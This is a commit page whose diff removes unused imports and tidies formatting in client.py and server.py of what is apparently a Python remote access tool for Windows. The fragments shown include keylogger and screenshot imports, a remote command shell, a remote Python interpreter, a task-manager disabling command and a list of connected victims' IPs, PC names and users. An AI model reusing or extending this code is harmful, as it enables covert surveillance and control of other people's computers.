Skip to content

Commit cf60dc5

Browse files
committed
Remove unused imports.
1 parent effb44b commit cf60dc5

File tree

2 files changed

+15
-10
lines changed

2 files changed

+15
-10
lines changed

client.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
import socket, os, sys, platform, time, ctypes, subprocess, sqlite3, pyscreeze, threading, pynput.keyboard, wmi, json
2-
import win32api, winerror, win32event, win32crypt
1+
import socket, os, sys, platform, time, ctypes, subprocess, pyscreeze, threading, pynput.keyboard, wmi, json
2+
import win32api, winerror, win32event
33
from shutil import copyfile
44
from winreg import *
55
from io import StringIO, BytesIO

server.py

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -141,8 +141,10 @@ def close():
141141
for _, conn in enumerate(arrConnections):
142142
conn.send(str.encode("exit"))
143143
conn.close()
144-
del arrConnections; arrConnections = []
145-
del arrAddresses; arrAddresses = []
144+
del arrConnections
145+
arrConnections = []
146+
del arrAddresses
147+
arrAddresses = []
146148

147149

148150
def refresh_connections(): # used to remove any lost connections
@@ -167,15 +169,15 @@ def list_connections():
167169
for intCounter, arrAddress in enumerate(arrAddresses):
168170
strClients += str(intCounter)
169171
for value in arrAddress:
170-
strClients += f"{4*' '}{str(value)}"
172+
strClients += f"{4 * ' '}{str(value)}"
171173
strClients += "\n"
172174

173-
strInfo = f"\nID{3*' '}"
175+
strInfo = f"\nID{3 * ' '}"
174176
for index, text in enumerate(["IP", "Port", "PC Name", "OS", "User"]):
175-
strInfo += center(str(arrAddresses[0][index]), text) + 4*" "
177+
strInfo += center(str(arrAddresses[0][index]), text) + 4 * " "
176178
strInfo += f"\n{strClients}"
177179
print(strInfo, end='')
178-
180+
179181

180182
def select_connection(connection_id, blnGetResponse):
181183
global conn, arrInfo
@@ -351,6 +353,7 @@ def command_shell(): # remote cmd shell
351353
else:
352354
print(strDefault, end="")
353355

356+
354357
def python_interpreter():
355358
send(str.encode("python"))
356359
recv(intBuff)
@@ -367,6 +370,7 @@ def python_interpreter():
367370
send(str.encode("exit"))
368371
recv(intBuff)
369372

373+
370374
def disable_taskmgr():
371375
send(str.encode("dtaskmgr"))
372376
print(decode_utf8(recv(intBuff))) # print response
@@ -400,7 +404,7 @@ def send_command(command):
400404
send(str.encode("runcmd" + command))
401405
intBuffer = int(decode_utf8(recv(intBuff))) # receive buffer size
402406

403-
strClientResponse = f"{24*'='}\n{arrInfo[0]}{4*' '}{arrInfo[1]}{decode_utf8(recvall(intBuffer))}{24*'='}"
407+
strClientResponse = f"{24 * '='}\n{arrInfo[0]}{4 * ' '}{arrInfo[1]}{decode_utf8(recvall(intBuffer))}{24 * '='}"
404408

405409
if os.path.isfile("command_log.txt"):
406410
strMode = "a"
@@ -525,5 +529,6 @@ def create_jobs():
525529
queue.put(intThread) # put thread id into list
526530
queue.join()
527531

532+
528533
create_threads()
529-
create_jobs()
534+
create_jobs()

0 commit comments

Comments
 (0)